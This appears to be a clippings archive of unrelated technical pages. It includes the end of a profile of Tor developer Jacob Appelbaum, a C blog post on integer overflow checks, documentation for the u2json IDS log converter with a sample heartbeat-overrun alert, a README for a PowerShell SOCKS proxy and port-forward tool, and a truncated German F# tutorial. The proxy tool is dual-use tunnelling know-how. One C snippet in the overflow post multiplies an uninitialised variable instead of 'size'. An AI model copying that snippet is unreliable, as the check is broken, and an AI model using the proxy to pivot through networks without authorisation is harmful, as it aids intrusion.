Iranian Guard can only see that an e-mail has been sent from Amsterdam. Anyone
spying on your computer would only see that you sent an e-mail to someone in
Paris. There is no direct connection between San Francisco and Tehran. The
content of your e-mail is not hidden — for that, you need encryption
technology — but your location is secure.

Appelbaum spends much of each year leading Tor training sessions around the
world, often conducted in secrecy to protect activists whose lives are in
danger. Some, like the sex-worker advocates from Southeast Asia he tutored,
had limited knowledge of computers. Others, like a group of students Appelbaum
trained at a seminar in Qatar, are highly sophisticated: One worked on the
government's censorship network, another works for a national oil company, and
a third created an Al-Jazeera message board that allows citizens to post
comments anonymously. In Mauritania, the country's military regime was forced
to abandon its efforts to censor the Internet after a dissident named Nasser
Weddady wrote a guide to Tor in Arabic and distributed it to opposition
groups. "Tor rendered the government's efforts completely futile," Weddady
says. "They simply didn't have the know-how to counter that move."

In distributing Tor, Appelbaum doesn't distinguish between good guys and bad
guys. "I don't know the difference between one theocracy or another in Iran,"
he says. "What's important to me is that people have communication free from
surveillance. Tor shouldn't be thought of as subversive. It should be thought
of as a necessity. Everyone everywhere should be able to speak and read and
form their own beliefs without being monitored. It should get to a point where
Tor is not a threat but is relied upon by all levels of society. When that
happens, we win."

As the public face of an organization devoted to anonymity, Appelbaum finds
himself in a precarious position. It is in Tor's interest to gain as much
publicity as possible — the more people who allow their computers to serve as
relays, the better. But he also lives in a state of constant vigilance,
worried that his enemies — envious hackers, repressive foreign regimes, his
own government — are trying to attack him. His compromise is to employ a two-
tiered system. He maintains a Twitter account and has posted thousands of
photos on Flickr. Yet he takes extensive measures to prevent any private
information — phone numbers, e-mail addresses, names of friends — from
appearing.

"There are degrees of privacy," he says. "The normal thing nowadays is to
conspicuously report on one another in a way that the Stasi couldn't even
dream of. I don't do that. I do not enter my home address into any computer. I
pay rent in cash. For every online account, I generate random passwords and
create new e-mail addresses. I never write checks, because they're insecure —
your routing number and account number are all that are required to empty your
bank account. I don't understand why anyone still uses checks. Checks are
crazy."

When he travels, if his laptop is out of his sight for any period of time, he
destroys it and then throws it away; the concern is that someone might have
bugged it. He is often driven to extreme measures to get copies of Tor through
customs in foreign countries. "I studied what drug smugglers do," he says. "I
wanted to beat them at their own game." He shows me a nickel. Then he slams it
on the floor of his apartment. It pops open. Inside there is a tiny eight-
gigabyte microSD memory card. It holds a copy of Tor.

As fast as Tor has grown, government surveillance of the Internet has expanded
even more rapidly. "It's unbelievable how much power someone has if they have
unfettered access to Google's databases," Appelbaum says.

As he is quick to point out, oppressive foreign regimes are only part of the
problem. In the past few years, the U.S. government has been quietly
accumulating libraries of data on its own citizens. Law enforcement can
subpoena your Internet provider for your name, address and phone records. With
a court order, they can request the e-mail addresses of anyone with whom you
communicate and the websites you visit. Your cellphone provider can track your
location at all times.

"It's not just the state," says Appelbaum. "If it wanted to, Google could
overthrow any country in the world. Google has enough dirt to destroy every
marriage in America."

But doesn't Google provide funding for Tor?

"I love Google," he says. "And I love the people there. Sergey Brin and Larry
Page are cool. But I'm terrified of the next generation that takes over. A
benevolent dictatorship is still a dictatorship. At some point people are
going to realize that Google has everything on everyone. Most of all, they can
see what questions you're asking, in real time. Quite literally, they can read
your mind."

Now, in the wake of the Wikileaks controversy, Appelbaum has gone underground,
concealing his whereabouts from even his closest friends. He suspects his
phones are tapped and that he's being followed. A week after being questioned
in Newark, he calls me from an undisclosed location, my request to contact him
having been passed along through a series of intermediaries. The irony of his
situation isn't lost on him.

"I'll be using Tor a lot more than I ever did — and I used it a lot," he says,
his voice uncharacteristically sober. "I have become one of the people I have
spent the last several years of my life protecting. I better take my own
advice."

# Fast integer overflow detection

**Created:**| _12/15/2014 8:03:08 PM_  
---|---  
**Updated:**| _12/15/2014 8:03:08 PM_  
**Author:**| __  
**Tags:**| __  
  

Writing efficient overflow checks in C is very challenging \(but good brain
exercise\). Even libraries written by security experts, such as Microsoft’s
SafeInt and CERT’s IntegerLib, could contain broken overflow checks.

For another example, I have seen a lot of bit tricks for detecting `int` \+
`int` overflow, many of which are actually questionable because they rely on
undefined behavior. At C-language level one cannot compute the signed addition
first before overflow checking since signed integer overflow is undefined.
Guess what C compilers would do to the following code.

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

int sum \( int a , int b \) \{ int c ; assert \( a >= 0 \); assert \( b >= 0
\); c = a + b ; /\* both a and b are non-negative \*/ if \( c < 0 \) /\*
overflow? \*/ abort \(\); return c ; \}  
---|---  
GCC will optimize away the check `c < 0`, while Clang keeps it. You may try
another \(broken\) form `c < a`: this time GCC keeps the check, while Clang
removes it.

I am proposing an overflow detection library, libo. Unlike previous ones, it
consists of assembly code, and due to the fact that I am lazy, the assembly
code is generated automatically from a short program.

Let’s start with a simple task: writing an array allocator `malloc_array(n,
size)`, where `n` is the number of elements and `size` is the element size
\(i.e., the non-zeroing version of `calloc`\).

Here’s a popular way.

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

void \* malloc\_array \( size\_t n , size\_t size \) \{ if \( size && n >
SIZE\_MAX / size \) return NULL ; return malloc \( n \* size \); \}  
---|---  
Unfortunately neither GCC nor Clang is able to optimize away the division
\(dunno why though; looks like a straightforward transformation\).

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

malloc\_array: \# @malloc\_array .cfi\_startproc \# BB\#0: \# %entry testq
%rsi , %rsi je .LBB0\_3 \# BB\#1: \# %land.rhs movq $-1 , %rax xorl %edx ,
%edx divq %rsi cmpq %rdi , %rax jae .LBB0\_3 \# BB\#2: \# %return xorl %eax ,
%eax ret .LBB0\_3: \# %if.end imulq %rdi , %rsi movq %rsi , %rdi jmp malloc \#
TAILCALL .Ltmp0: .size malloc\_array , .Ltmp0-malloc\_array .cfi\_endproc  
---|---  
If you are crazy about performance, try this trick from the Boehm GC guys.

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

\#define SQRT\_SIZE\_MAX \(\(1U << \(sizeof\(size\_t\) \* 8 / 2\)\) - 1\) if \(\( size | n \) > SQRT\_SIZE\_MAX /\* fast test \*/ && size && n > SIZE\_MAX / size \) return NULL ;  
---|---  
Another way is to promote the integer operation to a wider type, such as
128-bit \(assuming `size_t` is 64-bit\); just don’t forget to do the type cast
before multiplication. I am not sure how portable this is. The grsecurity
patch uses something similar to modify `kmalloc`.

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

void \* malloc\_array \( size\_t n , size\_t size \) \{ \_\_uint128\_t bytes =
\( \_\_uint128\_t \) n \* \( \_\_uint128\_t \) bytes ; if \( bytes > SIZE\_MAX
\) return NULL ; return malloc \(\( size\_t \) bytes \); \}  
---|---  
With the new libo, `malloc_array` could be implemented as follows.

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

void \* malloc\_array \( size\_t n , size\_t size \) \{ size\_t bytes ; if \(
umuloz \( n , size , & bytes \)\) return NULL ; return malloc \( bytes \); \}  
---|---  
With link-time optimization, Clang produces very nice code: compared to the
baseline code \(without overflow checking\), it has only one more `jno`.

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

malloc\_array: \# @malloc\_array .cfi\_startproc \# BB\#0: \# %entry movq %rdi
, %rax mulq %rsi jno .LBB0\_2 \# BB\#1: \# %return xorl %eax , %eax ret
.LBB0\_2: \# %if.end movq %rax , %rdi jmp malloc \# TAILCALL .Ltmp0: .size
malloc\_array , .Ltmp0-malloc\_array .cfi\_endproc  
---|---  
Here is the trick. LLVM internally supports arithmetic with overflow
operations, based on which the libo generator builds up functions like this:

[code]

               
[/code]

attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  attr\(data-line\)  | 
[code]

               
[/code]

define i32 @umulo64 \( i64 , i64 , i64 \*\) alwaysinline \{ entry: %3 = call
\{ i64 , i1 \} @llvm.umul.with.overflow.i64 \( i64 %0 , i64 %1 \) %4 =
extractvalue \{ i64 , i1 \} %3 , 0 store i64 %4 , i64 \* %2 %5 = extractvalue
\{ i64 , i1 \} %3 , 1 %6 = sext i1 %5 to i32 ret i32 %6 \}  
---|---  
To use libo with Clang \(and link-time optimization\), one can just use the
IR. To use libo with GCC, one can invoke LLVM’s backends to generate assembly.
Assuming LLVM is implemented correctly, we get a correct and efficient libo
implementation for all architectures LLVM supports.

One downside is that it may be difficult to do link-time optimization when
using GCC; this would end up with having a call to `umulo64`, rather than
inlining it. How to \`\`inline’’ a function purely written in assembly code
using GCC? Or is it possible to have LLVM generate inline assembly instead? Of
course it would be nicer if compilers provide built-in functions for overflow
detection.

# u2json — idstools 0.4.0 documentation

**Created:**| _5/5/2015 10:30:25 AM_  
---|---  
**Updated:**| _5/5/2015 10:30:25 AM_  
**Author:**| __  
**Tags:**| _iDS/iPS_  
  

# u2json¶

u2json is a program that at its simplest will display events in a unified2
file as json \(Suricata style for now\).

It is also capable of operating in a ‘barnyard’ like mode where it will
process a spool directory of unified files, remembering its location
\(bookmarking, or ‘waldo’\) and optionally delete unified2 log files once
processed as json.

## Output¶

Currently the output is hardcoded to be like Suricata’s JSON eve log format to
make it easy to deal with events from Snort and Suricata with Logstash,
Elastic Search and Kibana.

> \{“timestamp”: “2014-04-15T23:32:11.736275-0600”, “event\_type”: “alert”,
> “src\_ip”: “10.16.1.11”, “src\_port”: 49719, “dest\_ip”: “192.168.88.3”,
> “dest\_port”: 443, “proto”: “TCP”, “alert”: \{“action”: “allowed”, “gid”: 1,
> “signature\_id”: 30524, “rev”: 1, “signature”: “SERVER-OTHER OpenSSL TLSv1.1
> heartbeat read overrun attempt”, “category”: “Attempted Information Leak”,
> “severity”: 2\}\}
## Usage¶

Read unified2 log files and output events as JSON.

[code]

    usage: u2json [-h] [-C <classification.config>] [-S <msg-msg.map>]
                  [-G <gen-msg.map>] [--snort-conf <snort.conf>]
                  [--directory <spool directory>] [--prefix <spool file prefix>]
                  [--bookmark] [--follow] [--delete] [--output <filename>]
                  [--stdout]
                  [filenames [filenames ...]]
    
    positional arguments:
      filenames
    
    optional arguments:
      -h, --help            show this help message and exit
      -C <classification.config>
                            path to classification config
      -S <msg-msg.map>      path to sid-msg.map
      -G <gen-msg.map>      path to gen-msg.map
      --snort-conf <snort.conf>
                            attempt to load classifications and map files based on
                            the location of the snort.conf
      --directory <spool directory>
                            spool directory (eg: /var/log/snort)
      --prefix <spool file prefix>
                            spool filename prefix (eg: unified2.log)
      --bookmark            enable bookmarking
      --follow              follow files/continuous mode (spool mode only)
      --delete              delete spool files
      --output <filename>   output filename (eg: /var/log/snort/alerts.json
      --stdout              also log to stdout if --output is a file
    
    If --directory and --prefix are provided files will be read from
    the specified 'spool' directory. Otherwise files on the command
    line will be processed.
    
[/code]

An alternative to using command line arguments is to put the arguments in a
file and call u2json like:

[code]

    u2json @filename
    
[/code]

where filename looks something like:

[code]

    -C=/etc/snort/etc/classification.config
    -S=/etc/snort/etc/sid-msg.map
    -G=/etc/snort/etc/gen-msg.map
    --directory=/var/log/snort
    --prefix=unified2.log
    --output=/var/log/snort/alerts.json
    --follow
    --bookmark
    --delete
    
[/code]

## Example 1 - View unified2 File as JSON¶

[code]

    idstools-u2json /var/log/snort/unified2.log.1397575268
    
[/code]

To resolve alert descriptions and classifications:

[code]

    idstools-u2json --snort-conf /etc/snort/etc/snort.conf \
        /var/log/snort/unified2.log.1397575268
    
[/code]

The above assumes that sid-msg.map, gen-msg.map and classification.config live
alongside the specified snort.conf. If they do not, the options to specify
each individually may be used:

[code]

    idstools-u2json -C /etc/snort/etc/classification.config \
        -S /etc/snort/etc/sid-msg.map \
        -G /etc/snort/etc/gen-msg.map \
        /var/log/snort/unified2.log.1397575268
    
[/code]

## Example 2 - Continuous Conversion to JSON¶

[code]

    idstools-u2json --snort.conf /etc/snort/etc/snort.conf \
        --directory /var/log/snort \
        --prefix unified2.log \
        --follow \
        --bookmark \
        --delete \
        --output /var/log/snort/alerts.json \
    
[/code]

The above command will operate like barnyard, reading all unified2.log files
in /var/log/snort, waiting for new unified2 records when the end of the last
file is reached.

Additionally the last read location will be bookmarked to avoid reading events
multiple times, the unified2.log files will be deleted once converted to JSON,
and JSON events will be written to /var/log/snort/alerts.json.

## Configuration File¶

A configuration file is simply a file containing the command line arguments,
one per line with an ‘=’ separating the name from the argument. For example,
to save the arguments used in example 2 above:

[code]

    --snort.conf=/etc/snort/etc/snort.conf
    --directory=/var/log/snort
    --prefix=unified2.log
    --follow
    --bookmark
    --delete
    --output=/var/log/snort/alerts.json
    
[/code]

Then call idstools-u2json like:

[code]

    idstools-u2json @/path/to/config-file
    
[/code]

Addtional arguments can also be provided like:

[code]

    idstools-u2json @/path/to/config-file --stdout
    
[/code]

# p3nt4/Invoke-SocksProxy

**Created:**| _3/7/2018 8:50:52 AM_  
---|---  
**Updated:**| _3/7/2018 8:50:52 AM_  
**Author:**| _wishi_  
**Tags:**| _powershell socks_  
  

  

# Invoke-SocksProxy

Creates a Socks proxy using powershell.

Supports both Socks4 and Socks5 connections.

# Examples

Create a Socks 4/5 proxy on port 1234:

[code]

    Import-Module .\Invoke-SocksProxy.psm1
    Invoke-SocksProxy -bindPort 1234
    
[/code]

Create a simple tcp port forward:

[code]

    Import-Module .\Invoke-SocksProxy.psm1
    Invoke-PortFwd -bindPort 33389 -destHost 127.0.0.1 -destPort 3389
    
[/code]

# Limitations

  * This is only a subset of the Socks 4 and 5 protocols: It does not support authentication, It does not support UDP or bind requests.
  * Used connections are not always dismissed, causing a memory leak.
  * New features will be implemented in the future. PR are welcome.

  

# Einführung in F\#: Funktionale Programmierverfahren in .NET Framework

**Created:**| _10/31/2009 5:23:16 PM_  
---|---  
**Updated:**| _10/31/2009 5:23:38 PM_  
**Author:**| __  
**Tags:**| _.Net programming F\#_  
  

Einführung in F\#

Funktionale Programmierverfahren in .NET Framework

Ted Neward

  
Themen in diesem Artikel:

  * Installieren von F\#
  * Grundlagen der F\#-Sprache
  * .NET-Interoperabilität
  * Asynchrones F\#

| In diesem Artikel werden folgende Technologien verwendet:  
.NET Framework, F\#  
  
---|---  
<img src='img/Temp2_2548.gif' /> Inhalt

Gründe für das Verwenden von F\#  
Installieren von F\#  
Hello, F\#  
Der let-Ausdruck  
Das for-Schlüsselwort  
Die Pipeline  
Erstellen von Objekten in F\#  
Asynchrones F\#  
Anpassung an F\#  

F\# bietet als neues Mitglied der Microsoft® .NET Framework-Familie
Typsicherheit, Leistung sowie die Funktionen einer Skriptsprache – und das
alles innerhalb der .NET-Umgebung. Diese funktionale Sprache wurde von Don
Syme von Microsoft Research als syntaxkompatible OCaml-Variante für CLR
erstellt, die sich jedoch schnell aus der Testumgebung in die
Produktionsumgebung begeben hat.

Während sich Konzepte der funktionalen Programmierung immer häufiger über
Technologien wie .NET-Generika und LINQ in etabliertere Sprachen wie C\# und
Visual Basic® einschleichen, ist die Sichtbarkeit von F\# innerhalb der .NET-
Community in einem derartigen Ausmaß gewachsen, dass Microsoft im November
2007 die Aufnahme von F\# in die traditionelle Gruppe unterstützter .NET-
Programmiersprachen ankündigte.

Jahrelang wurde der Bereich funktionaler Sprachen \(ML, Haskell und so
weiter\) als geeigneter für die akademische Forschung statt für die
professionelle Entwicklung betrachtet. Es ist keinesfalls so, dass diese
Sprachen nicht interessant wären. Einige wichtige Verbesserungen an .NET –
Generika, LINQ, PLINQ und Futures zum Beispiel – stammen aus der Anwendung
funktionaler Programmierungskonzepte auf Sprachen, für die dies etwas ganz
Neues war. Das mangelnde Interesse an diesen Sprachen war bislang eher darauf
zurückzuführen, dass die Plattformen, auf die sie abzielten, für Entwickler
von Windows®-Programmen von geringer Bedeutung waren. Sie ließen sich nicht
gut in die zugrunde liegende Plattform integrieren, oder sie unterstützten
nicht wichtige Funktionen wie relationalen Datenbankzugriff, XML-Analyse und
prozessexterne Kommunikationsmethoden.

Die CLR und ihr Ansatz, viele Sprachen mit einer Plattform zu kombinieren,
brachten es zwangsläufig mit sich, dass weitere dieser Sprachen ihren Weg in
die Welt der Windows-Entwicklung fanden. Ebenso unvermeidlich war es, dass
diese auch Einfluss auf praktizierende Programmierer ausüben würden. F\# ist
eine solche Sprache. In diesem Artikel sollen einige der zugrunde liegenden
Konzepte sowie Vorteile von F\# erläutert werden. Um Ihnen den Einstieg in F\#
zu erleichtern, erhalten Sie anschließend eine detaillierte Anleitung für die
Installation und das Schreiben einfacher Programme.

  

Gründe für das Verwenden von F\#

Ein kleiner Teil der .NET-Programmierer weiß, dass das Erlernen einer
funktionalen Sprache für .NET Framework ein Schritt in die richtige Richtung
für das Schreiben leistungsfähiger Software ist. Für die anderen liegen die
Beweggründe, F\# zu erlernen, im Verborgenen. Inwiefern profitieren Entwickler
von F\#?

In den letzten drei Jahren ist das Schreiben sicherer paralleler Programmen
ein Hauptanliegen geworden, da Mehrkern-CPUs eine immer breitere Anwendung
finden. Funktionale Sprachen helfen Entwicklern beim Unterstützen von
Parallelität, indem unveränderbare Datenstrukturen unterstützt werden, die
zwischen Threads und Computern übertragen werden können, ohne Probleme bei
Threadsicherheit und atomarem Zugriff zu verursachen. Funktionale Sprachen
erleichtern auch das Schreiben besserer parallelitätsfreundlicher
Bibliotheken, wie z. B. asynchroner F\#-Workflows, auf die unten genauer
eingegangen wird.

Auch wenn Programmierer, die über beide Ohren in der objektorientierten
Entwicklung stecken, möglicherweise eine andere Ansicht haben, sind
funktionale Programme häufig für bestimmte Arten von Anwendungen einfacher zu
schreiben und zu verwalten. Denken Sie zum Beispiel an das Schreiben eines
Programms zum Konvertieren eines XML-Dokuments in ein anderes Datenformat.
Sicherlich wäre es möglich, ein C\#-Programm zu schreiben, dass das XML-
Dokument analysiert und eine Vielzahl an Anweisungen zum Bestimmen der an
unterschiedlichen Stellen im Dokument zu ergreifenden Aktionen anwendet. Ein
weit besserer Ansatz besteht jedoch darin, die Transformation als XSLT-
Programm \(Extensible Stylesheet Language Transformations\) zu schreiben. Es
verwundert nicht, dass XSLT und SQL eine Vielzahl an Funktionen besitzen.

In F\# wird dringend von der Verwendung von Nullwerten abgeraten, während die
Verwendung unveränderbarer Datenstrukturen unterstützt wird. Diese Kombination
kann die Häufigkeit von Programmierfehlern verringern, indem weniger Code für
Sonderfälle benötigt wird.

In F\# geschriebene Programme sind in der Regel auch kürzer. Er wird
tatsächlich weniger getippt und typisiert: Es sind weniger Tastaturanschläge
nötig, und es gibt weniger Orte, an denen der Compiler Anweisungen zum Typ der
Variablen, der Argumente oder des Rückgabetyps erhalten muss. Dadurch kann die
Menge an zu verwaltendem Code erheblich verringert werden.

F\# besitzt eine ähnliches Leistungsprofil wie C\#. Das Leistungsprofil von
F\# ist jedoch im Vergleich zu ähnlichen prägnanten Sprachen, insbesondere den
dynamischen Sprachen und den Skriptsprachen, viel besser. Darüber hinaus
enthält F\#, wie viele dynamische Sprachen, die Tools, mit denen Sie Daten
durch das Schreiben von Programmfragmenten und die interaktive Ausführung
untersuchen können.

  

Installieren von F\#

F\# steht als kostenloser Download unter
research.microsoft.com/fsharp/fsharp.aspx zur Verfügung und installiert nicht
nur alle Befehlszeilentools, sondern auch ein Visual
Studio®-Erweiterungspaket, das farbige Syntaxhervorhebung, Projekt- und
Dateivorlagen \(einschließlich eines sehr ausführlichen Beispiels für F\# als
Kurzanleitung\) sowie IntelliSense®-Unterstützung bietet. Es ist auch möglich,
eine interaktive F\#-Shell innerhalb von Visual Studio auszuführen. Auf diese
Weise können Entwickler Ausdrücke aus Quelldateifenstern auswählen, sie ins
interaktive Shellfenster einfügen und Ergebnisse aus dem Codeausschnitt sofort
anzeigen, und zwar innerhalb eines Fensters, das mit einem erweiterten
Direktfenster vergleichbar ist.

Beim Verfassen dieses Artikels wurde F\# als externes Tool innerhalb von
Visual Studio ausgeführt. Das bedeutet, dass die von C\# oder Visual Basic
gewohnte nahtlose Ausführung zum Teil fehlt. F\# bietet u. A. auch keine
Unterstützung für ASP.NET-Seitendesigner. \(Dies bedeutet jedoch keinesfalls,
dass F\# nicht in ASP.NET verwendet werden kann. Die Visual Studio-
Unterstützung für F\# bietet nur nicht die gleiche Art standardmäßiger Drag &
Drop-Entwicklungsfunktionalität für F\# wie für C\# und Visual Basic.\)

Die aktuelle Version von F\# kann jedoch überall verwendet werden, wo auch
andere .NET-kompatible Sprachen verwendet werden können. Auf den nächsten
Seiten sind einige Beispiele aufgeführt.

  

Hello, F\#

Alle Sprachen werden über das universelle „Hello, World“-Programm vorgestellt.
F\# unterscheidet sich in dieser Hinsicht nicht:

[code]

    printf "Hello, world!"
    
[/code]

Dieses Beispiel mag zwar eine kleine Enttäuschung sein, zeigt aber, dass F\#
zur Kategorie der Sprachen gehört, die keinen expliziten Einstiegspunkt
benötigen \(im Unterschied zu C\#, Visual Basic und C++/CLI\). Die Sprache
verwendet die erste Zeile des Programms als Einstiegspunkt und wird von dort
ausgeführt.

Für diese Ausführung stehen dem F\#-Entwickler zwei Möglichkeiten zur
Verfügung: kompiliert oder interpretiert. Das Ausführen innerhalb des
F\#-Interpreters \(fsi.exe\) ist ganz unkompliziert. Führen Sie einfach
fsi.exe von der Befehlszeile aus, und geben Sie die obige Zeile in die sich
ergebende Eingabeaufforderung ein \(siehe **Abbildung 1**\).

<img src='img/Temp2_2549.gif' />

Abbildung 1**Ausführen von „Hello, World“ innerhalb des
F\#-Interpreters**\(Klicken Sie zum Vergrößern auf das Bild\)

Beachten Sie, dass die Anweisung in der Shell durch zwei Semikolons beendet
werden muss. Dies ist eine Besonderheit des interaktiven Modus und ist für
kompilierte F\#-Programme nicht erforderlich.

Führen Sie dieses Beispiel als standardmäßige ausführbare .NET-Datei aus,
indem Sie Visual Studio wie gewöhnlich starten und ein neues F\#-Projekt
erstellen \(das Sie unter „Other Project Types“ \(Weitere Projekttypen\)
finden\). Ein F\#-Projekt besteht am Anfang aus einer einzelnen F\#-Quelldatei
namens „file1.fs“. Wenn Sie diese Datei öffnen, können Sie eine große Sammlung
von Beispiel-F\#-Code sehen. Werfen Sie ein Blick auf ihren Inhalt, um eine
Vorstellung davon zu erhalten, wie die F\#-Syntax aussieht. Ersetzen Sie
danach die gesamte Datei durch den oben dargestellten „Hello, World\!“-Code.
Führen Sie die Anwendung aus. Wie zu erwarten, wird „Hello, World\!“ in einem
Konsolenanwendungsfenster angezeigt.

Wenn Sie lieber Befehlszeilen verwenden, können Sie den Code mithilfe des
fsc.exe-Tools kompilieren. Dieses Tool befindet sich im Unterverzeichnis
„\bin“ des F\#-Installationsverzeichnisses. Beachten Sie, dass fsc.exe wie die
meisten Befehlszeilencompiler funktioniert und mithilfe der Quelle in der
Befehlszeile eine ausführbare Datei erstellt. Die meisten
Befehlszeilenschalter sind dokumentiert. Viele kennen Sie sicherlich bereits
aus der Arbeit mit csc.exe- oder cl.exe-Compilern. Im Bereich von MSBuild ist
F\# jedoch momentan noch nicht auf dem gleichen Entwicklungsstand. Es gibt
keine direkte Unterstützung in der aktuellen Installation \(1.9.3.7 zum
derzeitigen Zeitpunkt\) für MSBuild-gesteuerte Kompilierung.

Wenn Sie Ihr „Hello, World\!“ optisch ein wenig ausgestalten möchten, bietet
F\# problemlos absolute Genauigkeit und Interoperabilität mit der zugrunde
liegenden CLR-Plattform, einschließlich der Windows Forms-Bibliotheken.
Probieren Sie Folgendes aus:

[code]

    System.Windows.Forms.MessageBox.Show "Hello World"
    
[/code]

Die F\#-Sprache ist besonders für die mathematische und die
naturwissenschaftliche Gemeinschaft attraktiv, die bereits funktionale
Sprachen wie OCaml oder Haskell verwenden, sowie für die .NET-Entwickler in
der ganzen Welt, weil die .NET Framework-Klassenbibliothek sowie die
F\#-Bibliotheken verwendet werden können.

  

Der let-Ausdruck

Betrachten Sie den folgenden F\#-Code, der nicht so trivial wie der
traditionelle „Hello, World\!“-Code ist. Beachten Sie die folgenden Aspekte:

[code]

    let results = [ for i in 0 .. 100 -> (i, i*i) ]
    printfn "results = %A" results
    
[/code]

Ein interessantes Element in dieser F\#-Syntax ist der let-Ausdruck. Er ist
der wichtigste Ausdruck in allen Sprachen. Mit let können Sie formal einem
Bezeichner einen Wert zuweisen. Die Versuchung für den Visual Basic- und
C\#-Entwickler besteht darin, dies als „Definition einer Variablen“ zu
übersetzen, was wäre eine unwahre Annahme wäre. Bezeichner in F\# verkörpern
stattdessen zwei Prinzipien. Erstens darf ein einmal definierter Bezeichner
niemals geändert werden. \(Auf diese Weise können Programmierer mit F\# sicher
gleichzeitig ausführbare Programme erstellen, weil ein änderbarer Zustand
verhindert wird.\) Zweitens kann der Bezeichner nicht nur ein primitiver Typ
oder ein Objekttyp, wie für C\# und Visual Basic beschrieben, sein, sondern
auch ein Funktionstyp, der mit dem in LINQ vergleichbar ist.

Beachten Sie ebenso, dass Bezeichner nie explizit als Besitzer eines Typs
definiert werden. Der Ergebnisbezeichner wird zum Beispiel nie definiert,
sondern von der rechten Seite des darauf folgenden Ausdrucks abgeleitet. Dies
wird als Typrückschluss bezeichnet und beschreibt die Möglichkeit des
Compilers, den Code zu analysieren und den Rückgabewert zu bestimmen sowie
automatisch zu integrieren. \(Hier besteht eine Parallele zu den neuen, von
C\# über das var-Schlüsselwort abgeleiteten Typausdrücken\).

Der let-Ausdruck kann nicht nur mit Daten verwendet werden. Sie können mit ihm
Funktionen definieren, die F\# als erstklassige Konzepte erkennt. Im Folgenden
wird beispielsweise eine add-Funktion mit zwei Parametern, a und b, definiert:

[code]

    let add a b =
        a + b
    
[/code]

Die Implementierung verläuft erwartungsgemäß: Es werden a und b hinzugefügt,
und das Ergebnis wird implizit an den Aufrufer zurückgegeben. Daher gibt jede
Funktion in F\# in technischer Hinsicht einen Wert zurück, selbst wenn dieser
Wert kein Wert wie sonst üblich ist, der unter dem speziellen Namen „unit“
bekannt ist. Dadurch entstehen einige interessante Auswirkungen auf den
F\#-Code, insbesondere an der Schnittstelle zur .NET Framework-
Klassenbibliothek. Zum jetzigen Zeitpunkt können C\#- und Visual Basic-
Entwickler unit jedoch als gleichwertig mit void betrachten.

Es kann vorkommen, dass eine Funktion einen übergebenen Parameter ignorieren
muss. Verwenden Sie hierfür in F\# einfach den Unterstrich als Platzhalter für
den eigentlichen Parameter:

[code]

    let return10 _ =
        add 5 5
    
    // 12 is effectively ignored, and ten is set to the resulting
    // value of add 5 5
    let ten = return10 12
    
    printf "ten = %d\n" ten
    
[/code]

Wie viele funktionale Sprachen erlaubt F\# das Currying. Dabei kann die
Anwendung einer Funktion nur teilweise definiert werden und erhält den Rest
der Parameter beim Aufruf:

[code]

    let add5 a =
        add a 5
    
[/code]

In gewisser Hinsicht ist dies mit dem Erstellen einer überladenen Methode
vergleichbar, die einen anderen Parametersatz verwendet und eine andere
Methode aufruft:

[code]

    public class Adders {
        public static int add(int a, int b) { return a + b; }
        public static int add5(int a) { return add(a, 5); }
    }
    
[/code]

Es gibt jedoch auch einen feinen Unterschied. Beachten Sie, dass in der
F\#-Version keine Typen explizit definiert sind. Das bedeutet, dass der
Compiler seine Typrückschlüsse durchführt, bestimmt, ob der Parameter für add5
typkompatibel mit dem Hinzufügen zum Ganzzahlliteral 5 ist, und entweder so
die Kompilierung durchführt oder einen Fehler meldet. Ein großer Teil der
F\#-Sprache ist tatsächlich implizit typparametrisiert \(und verwendet
folglich Generika\).

In Visual Studio zeigt das Positionieren des Zeigers über der vorher gezeigten
Definition von ten an, dass der Typ folgendermaßen deklariert ist:

[code]

    val ten : ('a -> int)
    
[/code]

In F\# bedeutet dies, dass ten ein Wert, eine Funktion ist, die einen
Parameter eines beliebigen Typs benötigt und ein int-Ergebnis liefert. Die
Strichsyntax entspricht etwa der <T>-Syntax in C\#. Die geeignetste
Übersetzung in eine C\#-Funktion wäre die Beschreibung, dass ten wie eine
Delegatinstanz für eine typparametrisierte Methode aussieht, dessen Typ Sie
eigentlich ignorieren möchten \(was aber unter den Regeln von C\# nicht
möglich ist\):

[code]

    delegate int Transformer<T>(T ignored);
    
    public class App
    {
      public static int return10(object ignored) { return 5 + 5; }
    
      static void Main()
      {
        Transformer<object> ten = return10;
        System.Console.WriteLine("ten = {0}", return10(0));
      }
    }
    
[/code]

  

Das for-Schlüsselwort

Sehen Sie sich das for-Schlüsselwort im ersten Beispiel an:

[code]

    #light
    
    let results = [ for i in 0 .. 100 -> (i, i*i) ]
    printfn "results = %A" results
    
[/code]

Starten Sie oben im Code, und betrachten Sie die \#light-Syntax. Dies ist ein
Zugeständnis an Nicht-OCaml-Programmierer, die neu bei F\# sind. Einige der
